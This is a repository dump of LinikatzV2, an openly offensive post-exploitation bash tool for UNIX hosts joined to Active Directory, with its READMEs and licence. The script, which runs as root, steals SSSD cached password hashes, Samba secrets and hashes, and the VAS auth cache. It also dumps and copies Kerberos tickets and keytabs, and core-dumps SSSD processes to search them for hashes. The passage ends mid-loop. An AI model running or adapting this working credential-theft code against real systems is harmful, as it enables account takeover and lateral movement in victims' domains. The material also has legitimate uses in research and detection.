├── COPYING ├── README.md ├── READMEv1.md ├── doc └── AUTHORS └── linikatzV2.sh /COPYING: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015-2018, Cisco International Ltd 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions are met: 5 | * Redistributions of source code must retain the above copyright 6 | notice, this list of conditions and the following disclaimer. 7 | * Redistributions in binary form must reproduce the above copyright 8 | notice, this list of conditions and the following disclaimer in the 9 | documentation and/or other materials provided with the distribution. 10 | * Neither the name of the Cisco International Ltd nor the 11 | names of its contributors may be used to endorse or promote products 12 | derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY 18 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 21 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LinikatzV2 2 | LinikatzV2 is a bash script based on the Linikatz tool developed by time-machine (https://github.com/CiscoCXSecurity/linikatz). 3 | It allows post-exploitation tasks on UNIX computers joined to Active Directory, using various methods for credential mining. 4 | 5 | This tool needs **root privileges** to be run on the host system. 6 | 7 | It allows extraction of : 8 | - Hashed stored in files for offline connection (SHA-512 format) 9 | - Kerberos tickets (user & machine) 10 | - Clear passwords in RAM 11 | - NTLM machine hash 12 | - AES-128 & AES-256 machine keys 13 | 14 | Optional : 15 | - Configuration files (SSSD, VAS, etc) 16 | 17 | Some of these actions may not produce results. Typically, the presence of hashes and clears in RAM depends on a user's connection to the UNIX system. 18 | 19 | ## Usage 20 | 21 | ``` 22 | $ sudo ./linikatzV2.sh 23 | ``` 24 | Various options are available : 25 | 26 | - -c | --conf-files : Dumps configuration files. 27 | - --hash-output=file.txt : Allows you to choose the name of the output file containing the hashes. 28 | - -n | -no-file : Removes the process dump files, etc. 29 | - -k | --kerberos-tickets : Create a copy of the Kerberos tickets found. 30 | -------------------------------------------------------------------------------- /READMEv1.md: -------------------------------------------------------------------------------- 1 | # linikatz 2 | 3 | This repository contains all of the scripts and source code for "Where 2 Worlds Collide: Bringing Mimikatz et al to UNIX". In addition to the main linikatz.sh script, this also includes auditd policies, John the Ripper rules, Metasploit post-exploitation modules and fuzzers. The research behind this has now been incorporated into ATT&CK for Enterprise: T1558. More will follow in due course. 4 | 5 | More details can be found at Portcullis Labs: https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ 6 | 7 | For any queries about the contents of this repository please contact [Security Advisory EMEAR](mailto:css-adv-outreach@cisco.com). 8 | 9 | ## Usage 10 | 11 | To use the linikatz tool: 12 | 13 | * ```./linikatz.sh``` 14 | 15 | For other components, please read the manual. 16 | 17 | ## Hashes 18 | 19 | * ```8672d46e879f704b4b41a401c1a0aae5e6365f18a798a1fbaa4b1a8e711db34b linikatz.sh.00a366f266662ccdc09b394307f54bc1c664fa84``` 20 | * ```e69a6f8e45f8dd8ee977b6aed73cac25537c39f6fb74cf9cc225f2af1d9e4cd7 linikatz.sh.f7e55a4c1f8e028912c34481818181cccef54c08``` 21 | * ```adf6d464ce449914110607706da329993186f52f99074af1b7b1734a46dd4fcf linikatz.sh.7991c4ad8f4f3b31178a8844c2f19540135f8b5d``` 22 | * ```a1b3d36a9cc4bc118c646ae5430a6e0fc811f2ec3614a3de9682b5c07eaade2d linikatz.sh.ed6f5acbd7df804df18080f441d763f196d8536d``` 23 | * ```4681186a8bcaff98f0d2513d30add67345491b95f7f743883e6ca2506ba7aaaf linikatz.sh.baf3733f49c7d6e4d9e93093f6ff422a1ca4d08d``` 24 | * ```691f577714a4ae22bc22ec49edec5a15bf546a9827e8e1cf4e9e688b2ba9f72e linikatz.sh.bfa0d506343f750296bb16a69fbaeea5e866a195``` 25 | * ```9a3a44c544cd596ebf94583614035575e746f57315e20ec56a819c7152ba3fe9 linikatz.sh.200ce4001e997dcdb4db5be8cde114a48dda7e4c``` 26 | * ```f3aacbbaacceb0bdcac49d9b5e1da52d6883b7d736ca68f0a98f5a1d4838b995 linikatz.sh.99dc0d1a6abed4e5d301ec2c8067ce47935a3929``` 27 | * ```12e9256bbb969343cc20fa9e259c0af1bf12d6c7bd0263bd7b2a60575b73cf62 linikatz.sh.a40adc77fd10fec9cf3e3292db7b3007bc37707f``` 28 | * ```66c368f799227a9b571f841057e2d5f12c862360d5f7f564da9936acd67c66a0 linikatz.sh.1b185eaa12d6fff63d774c81d612c1735d1cd60c``` 29 | * ```612789c90ec1040d821a985265ea3b2f57e2c8df90b3880752dcb869e45256bc linikatz.sh.d160be156e1737d7b22f64f74c0c740435af685d``` 30 | * ```f1696fdc28bdb9e757a14b2ba9e698af8f70bb928d3c9e9fb524249f20231d08 linikatz.sh.118d753e603609046739301d60a743031d0bcacc``` 31 | * ```b2363d2b238f9336bb270fe96db258243668a916d7ddf94bf3a3126ed7cae508 linikatz.sh.174e0e1fc57a06172da5f8439f7f5d88e9ee6663``` 32 | * ```a0101bdeeb3f99c0640c203716381ef9f6bad8e89973eaa608c801ed3f6ccace linikatz.sh.97e768f1710721dac09f6dfdf9287649573dc47c``` 33 | * ```b8ad30b89d6cabe30501ed963b21dcaec70b3283608682678629feae2c1b2235 linikatz.sh.20798bc8dec2141ff25f1a9e2e8dc2e6dca15a1e``` 34 | * ```cbeecb2981c75b8f066b1f04f19f2095bdcf22f19d0d3f1099b83963547c00cb linikatz.sh.ccb992097a551f1a889db4388b4170804db47172``` 35 | 36 | For current detection coverage, please see: 37 | 38 | * https://www.virustotal.com/gui/file/3b7a06c53ec0f2ce7b9de4cae9e6e765fd18dc1f2ff522c0ccd9c8c3f9e79532 39 | -------------------------------------------------------------------------------- /doc/AUTHORS: -------------------------------------------------------------------------------- 1 | Tim Brown 2 | 3 | Suggestions from https://twitter.com/AdeptsOf0xCC and https://twitter.com/TheXC3LL: 4 | 5 | * https://www.delaat.net/rp/2016-2017/p97/report.pdf 6 | * https://adepts.of0x.cc/kerberos-thievery-linux 7 | -------------------------------------------------------------------------------- /linikatzV2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright (c) 2015-2021, Cisco International Ltd 3 | # 4 | # Redistribution and use in source and binary forms, with or without 5 | # modification, are permitted provided that the following conditions are met: 6 | # * Redistributions of source code must retain the above copyright 7 | # notice, this list of conditions and the following disclaimer. 8 | # * Redistributions in binary form must reproduce the above copyright 9 | # notice, this list of conditions and the following disclaimer in the 10 | # documentation and/or other materials provided with the distribution. 11 | # * Neither the name of the Cisco International Ltd nor the 12 | # names of its contributors may be used to endorse or promote products 13 | # derived from this software without specific prior written permission. 14 | # 15 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 16 | # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 17 | # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 18 | # DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY 19 | # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 20 | # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 21 | # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 22 | # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 23 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 24 | # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 25 | 26 | DATE="$(date +%d-%m-%Y_%H-%M-%S)" 27 | CONF_OUTPUT="0" 28 | SSSD_HASHES_FILE="hashes.txt" 29 | NO_FILE_OUTPUT="0" 30 | KERBEROS_TICKET_SAVE="0" 31 | 32 | NORMAL="0" 33 | BOLD="1" 34 | LIGHT="2" 35 | ITALIC="3" 36 | UNDERL="4" 37 | 38 | RED="31" 39 | GREEN="32" 40 | YELLOW="33" 41 | BLUE="34" 42 | PURPLE="35" 43 | CYAN="36" 44 | WHITE="37" 45 | 46 | header () { 47 | printf " _ _ _ _ _ ____ \n" 48 | printf "| | (_)_ __ (_) | ____ _| |_ ____ __ _|___ \ \n" 49 | printf "| | | | '_ \| | |/ / _\` | __|_ / \ \ / / __) | \n" 50 | printf "| |___| | | | | | < (_| | |_ / / \ V / / __/ \n" 51 | printf "|_____|_|_| |_|_|_|\_\__,_|\__/___| \_/ |_____| \n" 52 | printf "\n\n" 53 | } 54 | 55 | usage (){ 56 | header 57 | printf "Usage : ./linikatz.sh [OPTION]\n" 58 | printf " [-c --conf-files] : Create a local backup of configuration files\n" 59 | printf " [--hash-output=] : Sets hashes file output to the selected name\n" 60 | printf " [-n --no-file] : Removes file creation\n" 61 | printf " [-k --kerberos-tickets] : Save kerberos tickets in linikatz.$DATE/kerberos\n" 62 | printf " [-h --help] : Print this ;)\n\n" 63 | exit 0 64 | } 65 | 66 | # Usage : 1st is type (bold, normal, ...) 2nd is color, 3 is message 67 | stdio_message () { 68 | type="${1}" 69 | color="${2}" 70 | message="${3}" 71 | [ "$(validate_is_number "${type}")" -eq 1 ] || false 72 | [ "$(validate_is_number "${color}")" -eq 1 ] || false 73 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 74 | printf -- "\033[%s;%sm%s\033[m\n" "${type}" "${color}" "${message}" 75 | } 76 | 77 | # Same as stdio_message but \n 78 | stdio_message_raw () { 79 | type="${1}" 80 | color="${2}" 81 | message="${3}" 82 | [ "$(validate_is_number "${type}")" -eq 1 ] || false 83 | [ "$(validate_is_number "${color}")" -eq 1 ] || false 84 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 85 | printf -- "\033[%s;%sm%s\033[m" "${type}" "${color}" "${message}" 86 | } 87 | 88 | stdio_message_info () { 89 | message="${1}" 90 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 91 | stdio_message "$NORMAL" "$CYAN" "[>] ${message}" >&2 92 | } 93 | 94 | stdio_message_info_highlight () { 95 | message="${1}" 96 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 97 | stdio_message "$BOLD" "$GREEN" "[+] ${message}" >&2 98 | } 99 | 100 | stdio_message_info_process () { 101 | message="${1}" 102 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 103 | stdio_message "$NORMAL" "$CYAN" " [>] ${message}" >&2 104 | } 105 | 106 | stdio_message_info_process_group () { 107 | message="${1}" 108 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 109 | stdio_message "$BOLD" "$BLUE" "[*] ${message}" >&2 110 | } 111 | 112 | stdio_message_in_process () { 113 | type="${1}" 114 | color="${2}" 115 | message="${3}" 116 | [ "$(validate_is_number "${type}")" -eq 1 ] || false 117 | [ "$(validate_is_number "${color}")" -eq 1 ] || false 118 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 119 | printf -- "\033[%s;%sm %s\033[m\n" "${type}" "${color}" "${message}" 120 | } 121 | 122 | stdio_message_in_process_raw () { 123 | type="${1}" 124 | color="${2}" 125 | message="${3}" 126 | [ "$(validate_is_number "${type}")" -eq 1 ] || false 127 | [ "$(validate_is_number "${color}")" -eq 1 ] || false 128 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 129 | printf -- "\033[%s;%sm %s\033[m" "${type}" "${color}" "${message}" 130 | } 131 | 132 | stdio_message_error () { 133 | message="${1}" 134 | [ "$(validate_is_string "${message}")" -eq 1 ] || false 135 | stdio_message "$BOLD" "$RED" "[!] ${message}" >&2 136 | } 137 | 138 | validate_is_string () { 139 | value="${1}" 140 | if [ "$(validate_matches_regex "${value}" ".*")" -eq 1 ] 141 | then 142 | printf -- "1\n" 143 | else 144 | stdio_message_error "invalid string: ${value}" 145 | printf -- "0\n" 146 | fi 147 | } 148 | 149 | validate_matches_regex () { 150 | value="${1}" 151 | regex="${2}" 152 | if [ -n "$(printf -- "%s" "${value}" | egrep -- "$regex")" ] 153 | then 154 | printf -- "1\n" 155 | else 156 | printf -- "0\n" 157 | fi 158 | } 159 | 160 | validate_is_number () { 161 | value="${1}" 162 | if [ "$(validate_matches_regex "${value}" "^[0-9]+$")" -eq 1 ] 163 | then 164 | printf -- "1\n" 165 | else 166 | stdio_message_error "validate_is_number_error" 167 | printf -- "0\n" 168 | fi 169 | } 170 | 171 | file_list () { 172 | filename="${1}" 173 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 174 | if [ "$(file_exists "${filename}")" -eq 1 ] 175 | then 176 | find "${filename}" -type f 177 | fi 178 | } 179 | 180 | file_exists () { 181 | filename="${1}" 182 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 183 | if [ -e "${filename}" ] 184 | then 185 | printf -- "1\n" 186 | else 187 | printf -- "0\n" 188 | fi 189 | } 190 | 191 | file_is_regular () { 192 | filename="${1}" 193 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 194 | if [ -f "${filename}" ] 195 | then 196 | printf -- "1\n" 197 | else 198 | printf -- "0\n" 199 | fi 200 | } 201 | 202 | file_is_directory () { 203 | filename="${1}" 204 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 205 | if [ -d "${filename}" ] 206 | then 207 | printf -- "1\n" 208 | else 209 | printf -- "0\n" 210 | fi 211 | } 212 | 213 | file_steal () { 214 | filename="${1}" 215 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 216 | if [ "$(file_exists "${filename}")" -eq 1 ] 217 | then 218 | ls -l "${filename}" 219 | subdirectoryname=config 220 | directoryname="linikatz.$DATE" 221 | fullpath="${directoryname}/${subdirectoryname}" 222 | 223 | if [ "$(file_is_directory "${directoryname}")" -ne 1 ] 224 | then 225 | mkdir "${directoryname}" 226 | fi 227 | if [ "$(file_is_directory "${fullpath}")" -ne 1 ] 228 | then 229 | mkdir "${fullpath}" 230 | fi 231 | stolenfilename="${fullpath}/$(printf -- "%s" "${filename}" | tr "/" "_")" 232 | cp "${filename}" "${stolenfilename}" 233 | fi 234 | } 235 | 236 | config_steal () { 237 | for filename in "$@" 238 | do 239 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 240 | if [ "$(file_is_directory "${filename}")" -eq 1 ] 241 | then 242 | file_list "${filename}" | while read filename 243 | do 244 | file_steal "${filename}" 245 | done 246 | else 247 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 248 | then 249 | file_steal "${filename}" 250 | fi 251 | fi 252 | done 253 | } 254 | 255 | krb_file_steal () { 256 | filename="${1}" 257 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 258 | if [ "$(file_exists "${filename}")" -eq 1 ] 259 | then 260 | subdirectoryname=kerberos_tickets 261 | directoryname="linikatz.$DATE" 262 | fullpath="${directoryname}/${subdirectoryname}" 263 | 264 | if [ "$(file_is_directory "${directoryname}")" -ne 1 ] 265 | then 266 | mkdir "${directoryname}" 267 | fi 268 | if [ "$(file_is_directory "${fullpath}")" -ne 1 ] 269 | then 270 | mkdir "${fullpath}" 271 | fi 272 | stolenfilename="${fullpath}/$(printf -- "%s" "${filename}" | tr "/" "_")" 273 | cp "${filename}" "${stolenfilename}" 274 | fi 275 | } 276 | 277 | kerberos_steal () { 278 | for filename in "$@" 279 | do 280 | [ "$(validate_is_string "${filename}")" -eq 1 ] || false 281 | if [ "$(file_is_directory "${filename}")" -eq 1 ] 282 | then 283 | file_list "${filename}" | while read filename 284 | do 285 | krb_file_steal "${filename}" 286 | done 287 | else 288 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 289 | then 290 | krb_file_steal "${filename}" 291 | fi 292 | fi 293 | done 294 | } 295 | 296 | process_list () { 297 | pattern="${1}" 298 | [ "$(validate_is_string "${pattern}")" -eq 1 ] || false 299 | ps -aeo ruser,rgroup,pid,ppid,args | egrep -v "PID" | egrep "${pattern}" | egrep -v "grep" | while read userid groupid processid parentid command arguments 300 | do 301 | printf -- "%s\n" "${processid}" 302 | done 303 | } 304 | 305 | process_dump () { 306 | processid="${1}" 307 | directoryname="linikatz.$DATE" 308 | [ "$(validate_is_number "${processid}")" -eq 1 ] || false 309 | if [ "$(file_is_directory "${directoryname}")" -ne 1 ] 310 | then 311 | mkdir "${directoryname}" 312 | fi 313 | if [ "$(file_is_directory "${directoryname}/processes")" -ne 1 ] 314 | then 315 | mkdir "${directoryname}/processes" 316 | fi 317 | dumpedfilename="${directoryname}/processes/process."$(ps -p $processid -o comm=)"" 318 | gcore -o "${dumpedfilename}" "${processid}" >/dev/null 2>&1 319 | printf -- "%s\n" "${dumpedfilename}" 320 | } 321 | 322 | # Parameter parser 323 | while [ -n "${1}" ] 324 | do 325 | case "${1}" in 326 | --help|-h) 327 | usage 328 | ;; 329 | --conf-files|-c) 330 | CONF_OUTPUT="1" 331 | ;; 332 | --hash-output=*) 333 | SSSD_HASHES_FILE="${1#*=}" 334 | shift 335 | ;; 336 | --no-file|-n) 337 | NO_FILE_OUTPUT="1" 338 | ;; 339 | --kerberos-tickets|-k) 340 | KERBEROS_TICKET_SAVE="1" 341 | ;; 342 | esac 343 | shift 344 | done 345 | 346 | header 347 | 348 | # Output option check 349 | if [ $NO_FILE_OUTPUT -eq 1 ]; then 350 | echo "I'm in!" 351 | echo "$CONF_OUTPUT $KERBEROS_TICKET_SAVE" 352 | CONF_OUTPUT="0" 353 | KERBEROS_TICKET_SAVE="0" 354 | fi 355 | 356 | 357 | # Check that tdbdump is installed 358 | if ! which "tdbdump" >/dev/null; then 359 | stdio_message_error "tdbdump is not installed so it is not possible to ANALYZE ldb files" 360 | stdio_message "0" "$WHITE" "=> Install it with 'apt install tdb-tools'" 361 | exit 127 362 | fi 363 | 364 | # Check that the user is root or a member of sudoers 365 | if [ "$(id -u)" -gt "0" ] >/dev/null; then 366 | stdio_message_error "This program must be run as root" 367 | exit 1337 368 | fi 369 | 370 | #### Local copy of different configurations (FreeIPA, SSSD, etc) #### 371 | 372 | if [ $CONF_OUTPUT -eq 1 ]; then 373 | stdio_message "$NORMAL" "$WHITE" " ################################" 374 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 375 | stdio_message_raw "$BOLD" "$PURPLE" "Configuration copy" 376 | stdio_message "$NORMAL" "$WHITE" " ====" 377 | stdio_message "$NORMAL" "$WHITE" " ############################" 378 | echo "" 379 | 380 | stdio_message_info "Collecting FreeIPA configuration files" 381 | config_steal /run/ipa/ccaches /var/lib/dirsrv /etc/dirsrv /var/lib/softhsm /etc/pki /etc/ipa 382 | echo "" 383 | 384 | stdio_message_info "Collecting SSSD configuration files" 385 | config_steal /var/lib/sss /etc/sssd 386 | echo "" 387 | 388 | stdio_message_info "Collecting VAS configuration files" 389 | config_steal /var/opt/quest /etc/opt/quest 390 | echo "" 391 | 392 | stdio_message_info "Collecting PBIS configuration files" 393 | config_steal /var/lib/pbis /etc/pbis 394 | echo "" 395 | 396 | stdio_message_info "Collecting Samba configuration files" 397 | config_steal /var/lib/samba /var/cache/samba /etc/samba 398 | echo "" 399 | 400 | stdio_message_info "Collecting Kerberos configuration file" 401 | config_steal /etc/krb5.conf 402 | echo "" 403 | fi 404 | 405 | #### Samba dump #### 406 | 407 | if [ -n "$(file_list /var/lib/samba/private)" ] || [ "$(file_is_regular /var/lib/samba/passdb.tdb)" -eq 1 ]; then 408 | stdio_message "$NORMAL" "$WHITE" " ########################" 409 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 410 | stdio_message_raw "$BOLD" "$PURPLE" "Samba Dump" 411 | stdio_message "$NORMAL" "$WHITE" " ====" 412 | stdio_message "$NORMAL" "$WHITE" " ####################" 413 | echo "" 414 | fi 415 | 416 | if [ -n "$(file_list /var/lib/samba/private)" ]; then 417 | stdio_message_info "Samba machine secrets" 418 | file_list /var/lib/samba/private | while read filename 419 | do 420 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 421 | then 422 | tdbdump "${filename}" | egrep -A 1 "_PASSWORD" 423 | fi 424 | done 425 | echo "" 426 | fi 427 | 428 | if [ "$(file_is_regular /var/lib/samba/passdb.tdb)" -eq 1 ]; then 429 | stdio_message_info "Samba hashes" 430 | pdbedit -s /etc/samba/smb.conf -L -w 431 | echo "" 432 | fi 433 | 434 | 435 | #### SSSD hash dump #### 436 | if [ "$(file_is_regular /var/lib/sss/db/*ldb)" -eq 1 ]; then 437 | stdio_message "$NORMAL" "$WHITE" " ##############################" 438 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 439 | stdio_message_raw "$BOLD" "$PURPLE" "SSSD Hashes Dump" 440 | stdio_message "$NORMAL" "$WHITE" " ====" 441 | stdio_message "$NORMAL" "$WHITE" " ##########################" 442 | 443 | for db_ in $(ls /var/lib/sss/db/*ldb) 444 | do 445 | echo "" 446 | number_of_accounts=$(tdbdump $db_ | grep cachedPassword | cut -d "=" -f 3 | cut -d "," -f 1 | sort -u | wc -l) 447 | if [ "$number_of_accounts" -gt "0" ]; then 448 | stdio_message_info_highlight "$number_of_accounts hashes found in $db_" 449 | else 450 | stdio_message_info "No hash found in $db_" 451 | fi 452 | 453 | for account_ in $(tdbdump $db_ | grep cachedPassword | cut -d "=" -f 3 | cut -d "," -f 1 | sort -u) 454 | do 455 | echo "" 456 | stdio_message_raw "$NORMAL" "$WHITE" "Account : " 457 | stdio_message "$BOLD" "$YELLOW" "$account_" 458 | hash_=$(tdbdump $db_ | grep cachedPassword | grep $account_ | grep -o "\$6\$.*achedPassword" | awk -F 'Type' '{print $1}' | awk -F 'cachedPassword' '{print $1}' | awk -F 'lastCachedPassword' '{print $1}' | head -c 106) 459 | stdio_message_raw "$NORMAL" "$WHITE" "Hash : " 460 | stdio_message "$BOLD" "$RED" "$hash_" 461 | echo "" 462 | if [ $NO_FILE_OUTPUT -eq 0 ] 463 | then 464 | if [ "$(file_is_directory linikatz.$DATE)" -eq 0 ] 465 | then 466 | mkdir linikatz.$DATE 467 | fi 468 | echo $account_:$hash_ >> linikatz.$DATE/$SSSD_HASHES_FILE 469 | 470 | fi 471 | done 472 | if [ "$number_of_accounts" -gt "0" ]; then 473 | echo "" 474 | stdio_message "$BOLD" "$BLUE" " =====> Adding these hashes to the $SSSD_HASHES_FILE file <=====" 475 | fi 476 | done 477 | echo "" 478 | fi 479 | 480 | #### VAS hash dump #### 481 | 482 | if [ "$(file_is_directory /var/opt/quest)" -eq 1 ]; then 483 | stdio_message "$NORMAL" "$WHITE" " #############################" 484 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 485 | stdio_message_raw "$BOLD" "$PURPLE" "VAS Hashes Dump" 486 | stdio_message "$NORMAL" "$WHITE" " ====" 487 | stdio_message "$NORMAL" "$WHITE" " #########################" 488 | echo "" 489 | 490 | sqlite3 /var/opt/quest/vas/authcache/vas_auth.vdb "SELECT krb5pname, sha1hash, legacyHash FROM authcache" 491 | fi 492 | 493 | #### Kerberos machine tickets #### 494 | if [ "$(file_is_directory /var/lib/pbis)" -eq 1 ] || [ "$(file_is_directory /var/opt/quest/vas)" -eq 1 ] || [ "$(file_is_directory /var/lib/sss/db)" -eq 1 ]; then 495 | stdio_message "$NORMAL" "$WHITE" " ##########################################" 496 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 497 | stdio_message_raw "$BOLD" "$PURPLE" "Kerberos Machine Ticket Dump" 498 | stdio_message "$NORMAL" "$WHITE" " ====" 499 | stdio_message "$NORMAL" "$WHITE" " ######################################" 500 | echo "" 501 | fi 502 | 503 | if ! which "klist" >/dev/null; then 504 | stdio_message_error "klist is not installed so it is not possible to list and read kerberos tickets" 505 | stdio_message "0" "$WHITE" "=> Install it with 'apt install krb5-user'" 506 | exit 128 507 | fi 508 | 509 | # SSSD tickets 510 | if [ "$(file_is_directory /var/lib/sss/db)" -eq 1 ]; then 511 | stdio_message_info "SSSD tickets" 512 | for filename in /var/lib/sss/db/ccache_* 513 | do 514 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 515 | then 516 | /usr/bin/klist -c "${filename}" -e -d -f 517 | echo "" 518 | fi 519 | done 520 | fi 521 | if [ $KERBEROS_TICKET_SAVE -eq 1 ]; then 522 | stdio_message "$NORMAL" "$GREEN" "[+] Adding machine kerberos ticket to /kerberos" 523 | kerberos_steal /var/lib/sss/db/ccache_* 524 | fi 525 | echo "" 526 | 527 | # VAS tickets 528 | if [ "$(file_is_directory /var/opt/quest/vas)" -eq 1 ]; then 529 | stdio_message_info "VAS tickets" 530 | if [ "$(file_is_regular /etc/opt/quest/vas/host.keytab)" -eq 1 ] 531 | then 532 | /opt/quest/bin/ktutil --keytab=/etc/opt/quest/vas/host.keytab 533 | fi 534 | echo "" 535 | fi 536 | 537 | # PBIS tickets 538 | if [ "$(file_is_directory /var/lib/pbis)" -eq 1 ]; then 539 | stdio_message_info "PBIS tickets" 540 | if [ "$(file_is_regular /etc/krb5.keytab)" -eq 1 ] 541 | then 542 | printf "read_kt /etc/krb5.keytab\nlist\nquit\n" | /opt/pbis/bin/ktutil 543 | fi 544 | for filename in /var/lib/pbis/krb5cc_lsass* 545 | do 546 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 547 | then 548 | /opt/pbis/bin/klist -c "${filename}" -e -d -f 549 | fi 550 | done 551 | fi 552 | 553 | #### Kerberos User tickets #### 554 | if [ "$(file_is_regular /tmp/krb5*)" -eq 1 ] || [ "$(file_is_regular /var/lib/sss/secrets/secrets.ldb)" -eq 1 ]; then 555 | 556 | stdio_message "$NORMAL" "$WHITE" " #######################################" 557 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 558 | stdio_message_raw "$BOLD" "$PURPLE" "Kerberos User Ticket Dump" 559 | stdio_message "$NORMAL" "$WHITE" " ====" 560 | stdio_message "$NORMAL" "$WHITE" " ###################################" 561 | echo "" 562 | fi 563 | 564 | for filename in /tmp/krb5* 565 | do 566 | if [ "$(file_is_regular "${filename}")" -eq 1 ] 567 | then 568 | stdio_message_info "User Kerberos tickets" 569 | if [ "$(file_is_regular /usr/bin/klist)" -eq 1 ] 570 | then 571 | /usr/bin/klist -c "${filename}" -e -d -f 572 | echo "" 573 | else 574 | if [ "$(file_is_regular /opt/quest/bin/klist)" -eq 1 ] 575 | then 576 | /opt/quest/bin/klist -c "${filename}" -v --hidden 577 | echo "" 578 | else 579 | if [ "$(file_is_regular /opt/pbis/bin/klist)" -eq 1 ] 580 | then 581 | /opt/pbis/bin/klist -c "${filename}" -e -d -f 582 | echo "" 583 | fi 584 | fi 585 | fi 586 | fi 587 | done 588 | 589 | if [ $KERBEROS_TICKET_SAVE -eq 1 ]; then 590 | stdio_message "$NORMAL" "$GREEN" "[+] Adding user tickets to /kerberos" 591 | 592 | kerberos_steal /tmp/krb5* 593 | fi 594 | 595 | #### KCM Kerberos tickets #### 596 | 597 | if [ "$(file_is_regular /var/lib/sss/secrets/secrets.ldb)" -eq 1 ]; then 598 | stdio_message_info "KCM Kerberos tickets" 599 | if [ "$(file_is_regular /var/lib/sss/secrets/secrets.ldb)" -eq 1 ] 600 | then 601 | # TODO check this actually works, I'm guessing based on https://github.com/mandiant/SSSDKCMExtractor/blob/master/SSSDKCMExtractor.py 602 | tdbdump /var/lib/sss/secrets/secrets.ldb | egrep -A 1 "secret" 603 | stdio_message "$BOLD" "$YELLOW" "[!]You'll need /var/lib/sss/secrets/.secrets.mkey to decrypt this" 604 | fi 605 | fi 606 | echo "" 607 | 608 | #### Memory dump #### 609 | 610 | stdio_message "$NORMAL" "$WHITE" " #########################" 611 | stdio_message_raw "$NORMAL" "$WHITE" " ==== " 612 | stdio_message_raw "$BOLD" "$PURPLE" "Memory Dump" 613 | stdio_message "$NORMAL" "$WHITE" " ====" 614 | stdio_message "$NORMAL" "$WHITE" " #####################" 615 | echo "" 616 | 617 | if ! which "gcore" >/dev/null; then 618 | stdio_message_error "gcore is not installed so it is not possible to dump memory" 619 | stdio_message "0" "$WHITE" "=> Install it with 'apt install gdb'" 620 | exit 128 621 | fi 622 | 623 | process_list "sss" | while read processid 624 | do 625 | stdio_message_info_process_group "SSSD processes dump" 626 | stdio_message_info_process "Dumping "$(ps -p $processid -o comm=)" (${processid})" 627 | process_dump "${processid}" | while read filename 628 | do 629 | hash_tmp="$([ "$(file_is_regular "${filename}.${processid}")" -eq 1 ] && strings "${filename}.${processid}" | egrep "\\\$6\\\$" | sort | uniq )" 630 | tab="$(echo "$hash_tmp" | head -n 1)" 631 | 632 | if [ -z $tab ] 633 | then 634 | echo "" 635 | else 636 | stdio_message_in_process "$BOLD" "$GREEN" "[+] Hash(es) found !" 637 | while IFS= read -r line 638 | do 639 | if [ ${#line} -eq 106 ] 640 | then 641 | line_clean=$(echo "$line" | grep -oP '\$6\$.{103}') 642 | 